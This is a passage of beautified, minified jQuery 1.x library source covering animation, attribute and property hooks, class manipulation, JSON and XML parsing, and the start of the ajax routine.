cq = bQ._data(cg, "fxshow");
if (!i.queue) {
cs = bQ._queueHooks(cg, "fx");
if (cs.unqueued == null) {
cs.unqueued = 0;
cp = cs.empty.fire;
cs.empty.fire = function() {
if (!cs.unqueued) {
cp()
}
}
}
cs.unqueued++;
ch.always(function() {
ch.always(function() {
cs.unqueued--;
if (!bQ.queue(cg, "fx").length) {
cs.empty.fire()
}
})
})
}
if (cg.nodeType === 1 && ("height" in cl || "width" in cl)) {
i.overflow = [ce.overflow, ce.overflowX, ce.overflowY];
ck = bQ.css(cg, "display");
cn = ck === "none" ? bQ._data(cg, "olddisplay") || a9(cg.nodeName) : ck;
if (cn === "inline" && bQ.css(cg, "float") === "none") {
if (!G.inlineBlockNeedsLayout || a9(cg.nodeName) === "inline") {
ce.display = "inline-block"
} else {
ce.zoom = 1
}
}
}
if (i.overflow) {
ce.overflow = "hidden";
if (!G.shrinkWrapBlocks()) {
ch.always(function() {
ce.overflow = i.overflow[0];
ce.overflowX = i.overflow[1];
ce.overflowY = i.overflow[2]
})
}
}
for (cf in cl) {
co = cl[cf];
if (bY.exec(co)) {
delete cl[cf];
ci = ci || co === "toggle";
if (co === (cj ? "hide" : "show")) {
if (co === "show" && cq && cq[cf] !== undefined) {
cj = true
} else {
continue
}
}
cm[cf] = cq && cq[cf] || bQ.style(cg, cf)
} else {
ck = undefined
}
}
if (!bQ.isEmptyObject(cm)) {
if (cq) {
if ("hidden" in cq) {
cj = cq.hidden
}
} else {
cq = bQ._data(cg, "fxshow", {})
}
if (ci) {
cq.hidden = !cj
}
if (cj) {
bQ(cg).show()
} else {
ch.done(function() {
bQ(cg).hide()
})
}
ch.done(function() {
var ct;
bQ._removeData(cg, "fxshow");
for (ct in cm) {
bQ.style(cg, ct, cm[ct])
}
});
for (cf in cm) {
cr = bl(cj ? cq[cf] : 0, cf, ch);
if (!(cf in cq)) {
cq[cf] = cr.start;
if (cj) {
cr.end = cr.start;
cr.start = cf === "width" || cf === "height" ? 1 : 0
}
}
}
} else {
if ((ck === "none" ? a9(cg.nodeName) : ck) === "inline") {
ce.display = ck
}
}
}
function ax(cg, ci) {
var cf, ce, cj, ch, i;
for (cf in cg) {
ce = bQ.camelCase(cf);
cj = ci[ce];
ch = cg[cf];
if (bQ.isArray(ch)) {
cj = ch[1];
ch = cg[cf] = ch[0]
}
if (cf !== ce) {
cg[ce] = ch;
delete cg[cf]
}
i = bQ.cssHooks[ce];
if (i && "expand" in i) {
ch = i.expand(ch);
delete cg[ce];
for (cf in ch) {
if (!(cf in cg)) {
cg[cf] = ch[cf];
ci[cf] = cj
}
}
} else {
ci[ce] = cj
}
}
}
function e(cf, cj, cm) {
var cn, i, ci = 0,
ce = e.prefilters.length,
cl = bQ.Deferred().always(function() {
delete ch.elem
}),
ch = function() {
if (i) {
return false
}
var ct = V || bv(),
cq = Math.max(0, cg.startTime + cg.duration - ct),
co = cq / cg.duration || 0,
cs = 1 - co,
cp = 0,
cr = cg.tweens.length;
for (; cp < cr; cp++) {
cg.tweens[cp].run(cs)
}
cl.notifyWith(cf, [cg, cs, cq]);
if (cs < 1 && cr) {
return cq
} else {
cl.resolveWith(cf, [cg]);
return false
}
},
cg = cl.promise({
elem: cf,
props: bQ.extend({}, cj),
opts: bQ.extend(true, {
specialEasing: {},
easing: bQ.easing._default
}, cm),
originalProperties: cj,
originalOptions: cm,
startTime: V || bv(),
duration: cm.duration,
tweens: [],
createTween: function(cq, co) {
var cp = bQ.Tween(cf, cg.opts, cq, co, cg.opts.specialEasing[cq] || cg.opts.easing);
cg.tweens.push(cp);
return cp
},
stop: function(cp) {
var co = 0,
cq = cp ? cg.tweens.length : 0;
if (i) {
return this
}
i = true;
for (; co < cq; co++) {
cg.tweens[co].run(1)
}
if (cp) {
cl.notifyWith(cf, [cg, 1, 0]);
cl.resolveWith(cf, [cg, cp])
} else {
cl.rejectWith(cf, [cg, cp])
}
return this
}
}),
ck = cg.props;
ax(ck, cg.opts.specialEasing);
for (; ci < ce; ci++) {
cn = e.prefilters[ci].call(cg, cf, ck, cg.opts);
if (cn) {
if (bQ.isFunction(cn.stop)) {
bQ._queueHooks(cg.elem, cg.opts.queue).stop = bQ.proxy(cn.stop, cn)
}
return cn
}
}
bQ.map(ck, bl, cg);
if (bQ.isFunction(cg.opts.start)) {
cg.opts.start.call(cf, cg)
}
bQ.fx.timer(bQ.extend(ch, {
elem: cf,
anim: cg,
queue: cg.opts.queue
}));
return cg.progress(cg.opts.progress).done(cg.opts.done, cg.opts.complete).fail(cg.opts.fail).always(cg.opts.always)
}
bQ.Animation = bQ.extend(e, {
tweeners: {
"*": [function(cf, ce) {
var i = this.createTween(cf, ce);
B(i.elem, cf, b7.exec(ce), i);
return i
}]
},
tweener: function(ce, ch) {
if (bQ.isFunction(ce)) {
ch = ce;
ce = ["*"]
} else {
ce = ce.match(aN)
}
var cg, i = 0,
cf = ce.length;
for (; i < cf; i++) {
cg = ce[i];
e.tweeners[cg] = e.tweeners[cg] || [];
e.tweeners[cg].unshift(ch)
}
},
prefilters: [g],
prefilter: function(ce, i) {
if (i) {
e.prefilters.unshift(ce)
} else {
e.prefilters.push(ce)
}
}
});
bQ.speed = function(cf, cg, ce) {
var i = cf && typeof cf === "object" ? bQ.extend({}, cf) : {
complete: ce || !ce && cg || bQ.isFunction(cf) && cf,
duration: cf,
easing: ce && cg || cg && !bQ.isFunction(cg) && cg
};
i.duration = bQ.fx.off ? 0 : typeof i.duration === "number" ? i.duration : i.duration in bQ.fx.speeds ? bQ.fx.speeds[i.duration] : bQ.fx.speeds._default;
if (i.queue == null || i.queue === true) {
i.queue = "fx"
}
i.old = i.complete;
i.complete = function() {
if (bQ.isFunction(i.old)) {
i.old.call(this)
}
if (i.queue) {
bQ.dequeue(this, i.queue)
}
};
return i
};
bQ.fn.extend({
fadeTo: function(i, cg, cf, ce) {
return this.filter(ab).css("opacity", 0).show().end().animate({
opacity: cg
}, i, cf, ce)
},
animate: function(cj, cg, ci, ch) {
var cf = bQ.isEmptyObject(cj),
i = bQ.speed(cg, ci, ch),
ce = function() {
var ck = e(this, bQ.extend({}, cj), i);
if (cf || bQ._data(this, "finish")) {
ck.stop(true)
}
};
ce.finish = ce;
return cf || i.queue === false ? this.each(ce) : this.queue(i.queue, ce)
},
stop: function(cf, ce, i) {
var cg = function(ch) {
var ci = ch.stop;
delete ch.stop;
ci(i)
};
if (typeof cf !== "string") {
i = ce;
ce = cf;
cf = undefined
}
if (ce && cf !== false) {
this.queue(cf || "fx", [])
}
return this.each(function() {
var ck = true,
ch = cf != null && cf + "queueHooks",
cj = bQ.timers,
ci = bQ._data(this);
if (ch) {
if (ci[ch] && ci[ch].stop) {
cg(ci[ch])
}
} else {
for (ch in ci) {
if (ci[ch] && ci[ch].stop && bW.test(ch)) {
cg(ci[ch])
}
}
}
for (ch = cj.length; ch--;) {
if (cj[ch].elem === this && (cf == null || cj[ch].queue === cf)) {
cj[ch].anim.stop(i);
ck = false;
cj.splice(ch, 1)
}
}
if (ck || !i) {
bQ.dequeue(this, cf)
}
})
},
finish: function(i) {
if (i !== false) {
i = i || "fx"
}
return this.each(function() {
var cg, cj = bQ._data(this),
cf = cj[i + "queue"],
ce = cj[i + "queueHooks"],
ci = bQ.timers,
ch = cf ? cf.length : 0;
cj.finish = true;
bQ.queue(this, i, []);
if (ce && ce.stop) {
ce.stop.call(this, true)
}
for (cg = ci.length; cg--;) {
if (ci[cg].elem === this && ci[cg].queue === i) {
ci[cg].anim.stop(true);
ci.splice(cg, 1)
}
}
for (cg = 0; cg < ch; cg++) {
if (cf[cg] && cf[cg].finish) {
cf[cg].finish.call(this)
}
}
delete cj.finish
})
}
});
bQ.each(["toggle", "show", "hide"], function(cf, ce) {
var cg = bQ.fn[ce];
bQ.fn[ce] = function(i, ci, ch) {
return i == null || typeof i === "boolean" ? cg.apply(this, arguments) : this.animate(bP(ce, true), i, ci, ch)
}
});
bQ.each({
slideDown: bP("show"),
slideUp: bP("hide"),
slideToggle: bP("toggle"),
fadeIn: {
opacity: "show"
},
fadeOut: {
opacity: "hide"
},
fadeToggle: {
opacity: "toggle"
}
}, function(i, ce) {
bQ.fn[i] = function(cf, ch, cg) {
return this.animate(ce, cf, ch, cg)
}
});
bQ.timers = [];
bQ.fx.tick = function() {
var cg, cf = bQ.timers,
ce = 0;
V = bQ.now();
for (; ce < cf.length; ce++) {
cg = cf[ce];
if (!cg() && cf[ce] === cg) {
cf.splice(ce--, 1)
}
}
if (!cf.length) {
bQ.fx.stop()
}
V = undefined
};
bQ.fx.timer = function(i) {
bQ.timers.push(i);
if (i()) {
bQ.fx.start()
} else {
bQ.timers.pop()
}
};
bQ.fx.interval = 13;
bQ.fx.start = function() {
if (!am) {
am = bd.setInterval(bQ.fx.tick, bQ.fx.interval)
}
};
bQ.fx.stop = function() {
bd.clearInterval(am);
am = null
};
bQ.fx.speeds = {
slow: 600,
fast: 200,
_default: 400
};
bQ.fn.delay = function(ce, i) {
ce = bQ.fx ? bQ.fx.speeds[ce] || ce : ce;
i = i || "fx";
return this.queue(i, function(cg, cf) {
var ch = bd.setTimeout(cg, ce);
cf.stop = function() {
bd.clearTimeout(ch)
}
})
};
(function() {
var ce, cf = m.createElement("input"),
ch = m.createElement("div"),
i = m.createElement("select"),
cg = i.appendChild(m.createElement("option"));
ch = m.createElement("div");
ch.setAttribute("className", "t");
ch.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
ce = ch.getElementsByTagName("a")[0];
cf.setAttribute("type", "checkbox");
ch.appendChild(cf);
ce = ch.getElementsByTagName("a")[0];
ce.style.cssText = "top:1px";
G.getSetAttribute = ch.className !== "t";
G.style = /top/.test(ce.getAttribute("style"));
G.hrefNormalized = ce.getAttribute("href") === "/a";
G.checkOn = !!cf.value;
G.optSelected = cg.selected;
G.enctype = !!m.createElement("form").enctype;
i.disabled = true;
G.optDisabled = !cg.disabled;
cf = m.createElement("input");
cf.setAttribute("value", "");
G.input = cf.getAttribute("value") === "";
cf.value = "t";
cf.setAttribute("type", "radio");
G.radioValue = cf.value === "t"
})();
var au = /\r/g,
a5 = /[\x20\t\r\n\f]+/g;
bQ.fn.extend({
val: function(cg) {
var i, ce, ch, cf = this[0];
if (!arguments.length) {
if (cf) {
i = bQ.valHooks[cf.type] || bQ.valHooks[cf.nodeName.toLowerCase()];
if (i && "get" in i && (ce = i.get(cf, "value")) !== undefined) {
return ce
}
ce = cf.value;
return typeof ce === "string" ? ce.replace(au, "") : ce == null ? "" : ce
}
return
}
ch = bQ.isFunction(cg);
return this.each(function(ci) {
var cj;
if (this.nodeType !== 1) {
return
}
if (ch) {
cj = cg.call(this, ci, bQ(this).val())
} else {
cj = cg
}
if (cj == null) {
cj = ""
} else {
if (typeof cj === "number") {
cj += ""
} else {
if (bQ.isArray(cj)) {
cj = bQ.map(cj, function(ck) {
return ck == null ? "" : ck + ""
})
}
}
}
i = bQ.valHooks[this.type] || bQ.valHooks[this.nodeName.toLowerCase()];
if (!i || !("set" in i) || i.set(this, cj, "value") === undefined) {
this.value = cj
}
})
}
});
bQ.extend({
valHooks: {
option: {
get: function(i) {
var ce = bQ.find.attr(i, "value");
return ce != null ? ce : bQ.trim(bQ.text(i)).replace(a5, " ")
}
},
select: {
get: function(ce) {
var ck, cg, cm = ce.options,
ci = ce.selectedIndex,
ch = ce.type === "select-one" || ci < 0,
cl = ch ? null : [],
cj = ch ? ci + 1 : cm.length,
cf = ci < 0 ? cj : ch ? ci : 0;
for (; cf < cj; cf++) {
cg = cm[cf];
if ((cg.selected || cf === ci) && (G.optDisabled ? !cg.disabled : cg.getAttribute("disabled") === null) && (!cg.parentNode.disabled || !bQ.nodeName(cg.parentNode, "optgroup"))) {
ck = bQ(cg).val();
if (ch) {
return ck
}
cl.push(ck)
}
}
return cl
},
set: function(cj, ck) {
var cl, ci, cg = cj.options,
ce = bQ.makeArray(ck),
ch = cg.length;
while (ch--) {
ci = cg[ch];
if (bQ.inArray(bQ.valHooks.option.get(ci), ce) > -1) {
try {
ci.selected = cl = true
} catch (cf) {
ci.scrollHeight
}
} else {
ci.selected = false
}
}
if (!cl) {
cj.selectedIndex = -1
}
return cg
}
}
}
});
bQ.each(["radio", "checkbox"], function() {
bQ.valHooks[this] = {
set: function(i, ce) {
if (bQ.isArray(ce)) {
return (i.checked = bQ.inArray(bQ(i).val(), ce) > -1)
}
}
};
if (!G.checkOn) {
bQ.valHooks[this].get = function(i) {
return i.getAttribute("value") === null ? "on" : i.value
}
}
});
var bi, cb, bV = bQ.expr.attrHandle,
az = /^(?:checked|selected)$/i,
bU = G.getSetAttribute,
bN = G.input;
bQ.fn.extend({
attr: function(i, ce) {
return aK(this, bQ.attr, i, ce, arguments.length > 1)
},
removeAttr: function(i) {
return this.each(function() {
bQ.removeAttr(this, i)
})
}
});
bQ.extend({
attr: function(ch, cg, ci) {
var cf, i, ce = ch.nodeType;
if (ce === 3 || ce === 8 || ce === 2) {
return
}
if (typeof ch.getAttribute === "undefined") {
return bQ.prop(ch, cg, ci)
}
if (ce !== 1 || !bQ.isXMLDoc(ch)) {
cg = cg.toLowerCase();
i = bQ.attrHooks[cg] || (bQ.expr.match.bool.test(cg) ? cb : bi)
}
if (ci !== undefined) {
if (ci === null) {
bQ.removeAttr(ch, cg);
return
}
if (i && "set" in i && (cf = i.set(ch, ci, cg)) !== undefined) {
return cf
}
ch.setAttribute(cg, ci + "");
return ci
}
if (i && "get" in i && (cf = i.get(ch, cg)) !== null) {
return cf
}
cf = bQ.find.attr(ch, cg);
return cf == null ? undefined : cf
},
attrHooks: {
type: {
set: function(i, ce) {
if (!G.radioValue && ce === "radio" && bQ.nodeName(i, "input")) {
var cf = i.value;
i.setAttribute("type", ce);
if (cf) {
i.value = cf
}
return ce
}
}
}
},
removeAttr: function(cg, ci) {
var ce, ch, cf = 0,
cj = ci && ci.match(aN);
if (cj && cg.nodeType === 1) {
while ((ce = cj[cf++])) {
ch = bQ.propFix[ce] || ce;
if (bQ.expr.match.bool.test(ce)) {
if (bN && bU || !az.test(ce)) {
cg[ch] = false
} else {
cg[bQ.camelCase("default-" + ce)] = cg[ch] = false
}
} else {
bQ.attr(cg, ce, "")
}
cg.removeAttribute(bU ? ce : ch)
}
}
}
});
cb = {
set: function(ce, cf, i) {
if (cf === false) {
bQ.removeAttr(ce, i)
} else {
if (bN && bU || !az.test(i)) {
ce.setAttribute(!bU && bQ.propFix[i] || i, i)
} else {
ce[bQ.camelCase("default-" + i)] = ce[i] = true
}
}
return i
}
};
bQ.each(bQ.expr.match.bool.source.match(/\w+/g), function(cg, cf) {
var ce = bV[cf] || bQ.find.attr;
if (bN && bU || !az.test(cf)) {
bV[cf] = function(ci, ch, ck) {
var i, cj;
if (!ck) {
cj = bV[ch];
bV[ch] = i;
i = ce(ci, ch, ck) != null ? ch.toLowerCase() : null;
bV[ch] = cj
}
return i
}
} else {
bV[cf] = function(ch, i, ci) {
if (!ci) {
return ch[bQ.camelCase("default-" + i)] ? i.toLowerCase() : null
}
}
}
});
if (!bN || !bU) {
bQ.attrHooks.value = {
set: function(ce, cf, i) {
if (bQ.nodeName(ce, "input")) {
ce.defaultValue = cf
} else {
return bi && bi.set(ce, cf, i)
}
}
}
}
if (!bU) {
bi = {
set: function(cf, cg, ce) {
var i = cf.getAttributeNode(ce);
if (!i) {
cf.setAttributeNode((i = cf.ownerDocument.createAttribute(ce)))
}
i.value = cg += "";
if (ce === "value" || cg === cf.getAttribute(ce)) {
return cg
}
}
};
bV.id = bV.name = bV.coords = function(cf, ce, cg) {
var i;
if (!cg) {
return (i = cf.getAttributeNode(ce)) && i.value !== "" ? i.value : null
}
};
bQ.valHooks.button = {
get: function(cf, ce) {
var i = cf.getAttributeNode(ce);
if (i && i.specified) {
return i.value
}
},
set: bi.set
};
bQ.attrHooks.contenteditable = {
set: function(ce, cf, i) {
bi.set(ce, cf === "" ? false : cf, i)
}
};
bQ.each(["width", "height"], function(cf, ce) {
bQ.attrHooks[ce] = {
set: function(i, cg) {
if (cg === "") {
i.setAttribute(ce, "auto");
return cg
}
}
}
})
}
if (!G.style) {
bQ.attrHooks.style = {
get: function(i) {
return i.style.cssText || undefined
},
set: function(i, ce) {
return (i.style.cssText = ce + "")
}
}
}
var aQ = /^(?:input|select|textarea|button|object)$/i,
I = /^(?:a|area)$/i;
bQ.fn.extend({
prop: function(i, ce) {
return aK(this, bQ.prop, i, ce, arguments.length > 1)
},
removeProp: function(i) {
i = bQ.propFix[i] || i;
return this.each(function() {
try {
this[i] = undefined;
delete this[i]
} catch (ce) {}
})
}
});
bQ.extend({
prop: function(ch, cg, ci) {
var cf, i, ce = ch.nodeType;
if (ce === 3 || ce === 8 || ce === 2) {
return
}
if (ce !== 1 || !bQ.isXMLDoc(ch)) {
cg = bQ.propFix[cg] || cg;
i = bQ.propHooks[cg]
}
if (ci !== undefined) {
if (i && "set" in i && (cf = i.set(ch, ci, cg)) !== undefined) {
return cf
}
return (ch[cg] = ci)
}
if (i && "get" in i && (cf = i.get(ch, cg)) !== null) {
return cf
}
return ch[cg]
},
propHooks: {
tabIndex: {
get: function(ce) {
var i = bQ.find.attr(ce, "tabindex");
return i ? parseInt(i, 10) : aQ.test(ce.nodeName) || I.test(ce.nodeName) && ce.href ? 0 : -1
}
}
},
propFix: {
"for": "htmlFor",
"class": "className"
}
});
if (!G.hrefNormalized) {
bQ.each(["href", "src"], function(cf, ce) {
bQ.propHooks[ce] = {
get: function(i) {
return i.getAttribute(ce, 4)
}
}
})
}
if (!G.optSelected) {
bQ.propHooks.selected = {
get: function(ce) {
var i = ce.parentNode;
if (i) {
i.selectedIndex;
if (i.parentNode) {
i.parentNode.selectedIndex
}
}
return null
},
set: function(ce) {
var i = ce.parentNode;
if (i) {
i.selectedIndex;
if (i.parentNode) {
i.parentNode.selectedIndex
}
}
}
}
}
bQ.each(["tabIndex", "readOnly", "maxLength", "cellSpacing", "cellPadding", "rowSpan", "colSpan", "useMap", "frameBorder", "contentEditable"], function() {
bQ.propFix[this.toLowerCase()] = this
});
if (!G.enctype) {
bQ.propFix.enctype = "encoding"
}
var bS = /[\t\r\n\f]/g;
function E(i) {
return bQ.attr(i, "class") || ""
}
bQ.fn.extend({
addClass: function(cl) {
var cg, cf, cm, ch, ck, ci, ce, cj = 0;
if (bQ.isFunction(cl)) {
return this.each(function(i) {
bQ(this).addClass(cl.call(this, i, E(this)))
})
}
if (typeof cl === "string" && cl) {
cg = cl.match(aN) || [];
while ((cf = this[cj++])) {
ch = E(cf);
cm = cf.nodeType === 1 && (" " + ch + " ").replace(bS, " ");
if (cm) {
ci = 0;
while ((ck = cg[ci++])) {
if (cm.indexOf(" " + ck + " ") < 0) {
cm += ck + " "
}
}
ce = bQ.trim(cm);
if (ch !== ce) {
bQ.attr(cf, "class", ce)
}
}
}
}
return this
},
removeClass: function(cl) {
var cg, cf, cm, ch, ck, ci, ce, cj = 0;
if (bQ.isFunction(cl)) {
return this.each(function(i) {
bQ(this).removeClass(cl.call(this, i, E(this)))
})
}
if (!arguments.length) {
return this.attr("class", "")
}
if (typeof cl === "string" && cl) {
cg = cl.match(aN) || [];
while ((cf = this[cj++])) {
ch = E(cf);
cm = cf.nodeType === 1 && (" " + ch + " ").replace(bS, " ");
if (cm) {
ci = 0;
while ((ck = cg[ci++])) {
while (cm.indexOf(" " + ck + " ") > -1) {
cm = cm.replace(" " + ck + " ", " ")
}
}
ce = bQ.trim(cm);
if (ch !== ce) {
bQ.attr(cf, "class", ce)
}
}
}
}
return this
},
toggleClass: function(cf, i) {
var ce = typeof cf;
if (typeof i === "boolean" && ce === "string") {
return i ? this.addClass(cf) : this.removeClass(cf)
}
if (bQ.isFunction(cf)) {
return this.each(function(cg) {
bQ(this).toggleClass(cf.call(this, cg, E(this), i), i)
})
}
return this.each(function() {
var ci, ch, cg, cj;
if (ce === "string") {
ch = 0;
cg = bQ(this);
cj = cf.match(aN) || [];
while ((ci = cj[ch++])) {
if (cg.hasClass(ci)) {
cg.removeClass(ci)
} else {
cg.addClass(ci)
}
}
} else {
if (cf === undefined || ce === "boolean") {
ci = E(this);
if (ci) {
bQ._data(this, "__className__", ci)
}
bQ.attr(this, "class", ci || cf === false ? "" : bQ._data(this, "__className__") || "")
}
}
})
},
hasClass: function(ce) {
var cg, ch, cf = 0;
cg = " " + ce + " ";
while ((ch = this[cf++])) {
if (ch.nodeType === 1 && (" " + E(ch) + " ").replace(bS, " ").indexOf(cg) > -1) {
return true
}
}
return false
}
});
bQ.each(("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu").split(" "), function(cf, ce) {
bQ.fn[ce] = function(cg, i) {
return arguments.length > 0 ? this.on(ce, null, cg, i) : this.trigger(ce)
}
});
bQ.fn.extend({
hover: function(i, ce) {
return this.mouseenter(i).mouseleave(ce || i)
}
});
var aW = bd.location;
var bx = bQ.now();
var bX = (/\?/);
var ba = /(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;
bQ.parseJSON = function(i) {
if (bd.JSON && bd.JSON.parse) {
return bd.JSON.parse(i + "")
}
var cg, cf = null,
ce = bQ.trim(i + "");
return ce && !bQ.trim(ce.replace(ba, function(cj, ch, ci, ck) {
if (cg && ch) {
cf = 0
}
if (cf === 0) {
return cj
}
cg = ci || ch;
cf += !ck - !ci;
return ""
})) ? (Function("return " + ce))() : bQ.error("Invalid JSON: " + i)
};
bQ.parseXML = function(cf) {
var i, ce;
if (!cf || typeof cf !== "string") {
return null
}
try {
if (bd.DOMParser) {
ce = new bd.DOMParser();
i = ce.parseFromString(cf, "text/xml")
} else {
i = new bd.ActiveXObject("Microsoft.XMLDOM");
i.async = "false";
i.loadXML(cf)
}
} catch (cg) {
i = undefined
}
if (!i || !i.documentElement || i.getElementsByTagName("parsererror").length) {
bQ.error("Invalid XML: " + cf)
}
return i
};
var ay = /#.*$/,
aa = /([?&])_=[^&]*/,
ap = /^(.*?):[ \t]*([^\r\n]*)\r?$/mg,
F = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/,
q = /^(?:GET|HEAD)$/,
aR = /^\/\//,
a2 = /^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,
u = {},
bh = {},
a6 = "*/".concat("*"),
aj = aW.href,
cc = a2.exec(aj.toLowerCase()) || [];
function bR(i) {
return function(ch, ci) {
if (typeof ch !== "string") {
ci = ch;
ch = "*"
}
var ce, cf = 0,
cg = ch.toLowerCase().match(aN) || [];
if (bQ.isFunction(ci)) {
while ((ce = cg[cf++])) {
if (ce.charAt(0) === "+") {
ce = ce.slice(1) || "*";
(i[ce] = i[ce] || []).unshift(ci)
} else {
(i[ce] = i[ce] || []).push(ci)
}
}
}
}
}
function p(i, cf, cj, cg) {
var ce = {},
ch = (i === bh);
function ci(ck) {
var cl;
ce[ck] = true;
bQ.each(i[ck] || [], function(cn, cm) {
var co = cm(cf, cj, cg);
if (typeof co === "string" && !ch && !ce[co]) {
cf.dataTypes.unshift(co);
ci(co);
return false
} else {
if (ch) {
return !(cl = co)
}
}
});
return cl
}
return ci(cf.dataTypes[0]) || !ce["*"] && ci("*")
}
function s(cf, cg) {
var i, ce, ch = bQ.ajaxSettings.flatOptions || {};
for (ce in cg) {
if (cg[ce] !== undefined) {
(ch[ce] ? cf : (i || (i = {})))[ce] = cg[ce]
}
}
if (i) {
bQ.extend(true, cf, i)
}
return cf
}
function f(cl, ck, ch) {
var i, cg, cf, ci, ce = cl.contents,
cj = cl.dataTypes;
while (cj[0] === "*") {
cj.shift();
if (cg === undefined) {
cg = cl.mimeType || ck.getResponseHeader("Content-Type")
}
}
if (cg) {
for (ci in ce) {
if (ce[ci] && ce[ci].test(cg)) {
cj.unshift(ci);
break
}
}
}
if (cj[0] in ch) {
cf = cj[0]
} else {
for (ci in ch) {
if (!cj[0] || cl.converters[ci + " " + cj[0]]) {
cf = ci;
break
}
if (!i) {
i = ci
}
}
cf = cf || i
}
if (cf) {
if (cf !== cj[0]) {
cj.unshift(cf)
}
return ch[cf]
}
}
function ao(co, cg, cl, ce) {
var i, cj, cm, ch, cf, cn = {},
ck = co.dataTypes.slice();
if (ck[1]) {
for (cm in co.converters) {
cn[cm.toLowerCase()] = co.converters[cm]
}
}
cj = ck.shift();
while (cj) {
if (co.responseFields[cj]) {
cl[co.responseFields[cj]] = cg
}
if (!cf && ce && co.dataFilter) {
cg = co.dataFilter(cg, co.dataType)
}
cf = cj;
cj = ck.shift();
if (cj) {
if (cj === "*") {
cj = cf
} else {
if (cf !== "*" && cf !== cj) {
cm = cn[cf + " " + cj] || cn["* " + cj];
if (!cm) {
for (i in cn) {
ch = i.split(" ");
if (ch[1] === cj) {
cm = cn[cf + " " + ch[0]] || cn["* " + ch[0]];
if (cm) {
if (cm === true) {
cm = cn[i]
} else {
if (cn[i] !== true) {
cj = ch[0];
ck.unshift(ch[1])
}
}
break
}
}
}
}
if (cm !== true) {
if (cm && co["throws"]) {
cg = cm(cg)
} else {
try {
cg = cm(cg)
} catch (ci) {
return {
state: "parsererror",
error: cm ? ci : "No conversion from " + cf + " to " + cj
}
}
}
}
}
}
}
}
return {
state: "success",
data: cg
}
}
bQ.extend({
active: 0,
lastModified: {},
etag: {},
ajaxSettings: {
url: aj,
type: "GET",
isLocal: F.test(cc[1]),
global: true,
processData: true,
async: true,
contentType: "application/x-www-form-urlencoded; charset=UTF-8",
accepts: {
"*": a6,
text: "text/plain",
html: "text/html",
xml: "application/xml, text/xml",
json: "application/json, text/javascript"
},
contents: {
xml: /\bxml\b/,
html: /\bhtml/,
json: /\bjson\b/
},
responseFields: {
xml: "responseXML",
text: "responseText",
json: "responseJSON"
},
converters: {
"* text": String,
"text html": true,
"text json": bQ.parseJSON,
"text xml": bQ.parseXML
},
flatOptions: {
url: true,
context: true
}
},
ajaxSetup: function(ce, i) {
return i ? s(s(ce, bQ.ajaxSettings), i) : s(bQ.ajaxSettings, ce)
},
ajaxPrefilter: bR(u),
ajaxTransport: bR(bh),
ajax: function(ci, cf) {
if (typeof ci === "object") {
cf = ci;
ci = undefined
}
cf = cf || {};
var cr, ct, cj, cy, cn, ce, cu, cg, cm = bQ.ajaxSetup({}, cf),
cA = cm.context || cm,
cp = cm.context && (cA.nodeType || cA.jquery) ? bQ(cA) : bQ.event,
cz = bQ.Deferred(),
cw = bQ.Callbacks("once memory"),
ck = cm.statusCode || {},
cq = {},
cx = {},
ch = 0,
cl = "canceled",
cs = {
readyState: 0,
getResponseHeader: function(cB) {
var i;
if (ch === 2) {
if (!cg) {
cg = {};
while ((i = ap.exec(cy))) {
cg[i[1].toLowerCase()] = i[2]
}
}
i = cg[cB.toLowerCase()]
}
return i == null ? null : i
},
getAllResponseHeaders: function() {
return ch === 2 ? cy : null
},
setRequestHeader: function(cB, cC) {
var i = cB.toLowerCase();
if (!ch) {
cB = cx[i] = cx[i] || cB;
cq[cB] = cC
}
return this
},
overrideMimeType: function(i) {
if (!ch) {
cm.mimeType = i
}
return this
},
statusCode: function(cB) {
var i;
if (cB) {
if (ch < 2) {
for (i in cB) {
ck[i] = [ck[i], cB[i]]
}
} else {
cs.always(cB[cs.status])
}
}
return this
},
abort: function(cB) {
var i = cB || cl;
if (cu) {
cu.abort(i)
}
co(0, i);
return this
}
};
cz.promise(cs).complete = cw.add;
cs.success = cs.done;
cs.error = cs.fail;
cm.url = ((ci || cm.url || aj) + "").replace(ay, "").replace(aR, cc[1] + "//");
cm.type = cf.method || cf.type || cm.method || cm.type;
cm.dataTypes = bQ.trim(cm.dataType || "*").toLowerCase().match(aN) || [""];
if (cm.crossDomain == null) {
cr = a2.exec(cm.url.toLowerCase());
cm.crossDomain = !!(cr && (cr[1] !== cc[1] || cr[2] !== cc[2] || (cr[3] || (cr[1] === "http:" ? "80" : "443")) !== (cc[3] || (cc[1] === "http:" ? "80" : "443"))))
}
if (cm.data && cm.processData && typeof cm.data !== "string") {
cm.data = bQ.param(cm.data, cm.traditional)
}
p(u, cm, cf, cs);
if (ch === 2) {
return cs
}
ce = bQ.event && cm.global;
if (ce && bQ.active++ === 0) {
bQ.event.trigger("ajaxStart")
}
cm.type = cm.type.toUpperCase();
cm.hasContent = !q.test(cm.type);
cj = cm.url;
if (!cm.hasContent) {
if (cm.data) {
cj = (cm.url += (bX.test(cj) ? "&" : "?") + cm.data);
delete cm.data
}
if (cm.cache === false) {
cm.url = aa.test(cj) ? cj.replace(aa, "$1_=" + bx++) : cj + (bX.test(cj) ? "&" : "?") + "_=" + bx++
}
}
if (cm.ifModified) {
if (bQ.lastModified[cj]) {
cs.setRequestHeader("If-Modified-Since", bQ.lastModified[cj])
}
if (bQ.etag[cj]) {
cs.setRequestHeader("If-None-Match", bQ.etag[cj])
}
}
if (cm.data && cm.hasContent && cm.contentType !== false || cf.contentType) {
cs.setRequestHeader("Content-Type", cm.contentType)
}
cs.setRequestHeader("Accept", cm.dataTypes[0] && cm.accepts[cm.dataTypes[0]] ? cm.accepts[cm.dataTypes[0]] + (cm.dataTypes[0] !== "*" ? ", " + a6 + "; q=0.01" : "") : cm.accepts["*"]);
for (ct in cm.headers) {
cs.setRequestHeader(ct, cm.headers[ct])
}
if (cm.beforeSend && (cm.beforeSend.call(cA, cs, cm) === false || ch === 2)) {
return cs.abort()
}
cl = "abort";
for (ct in {
success: 1,
error: 1,
complete: 1
}) {
cs[ct](cm[ct])
}
cu = p(bh, cm, cf, cs);
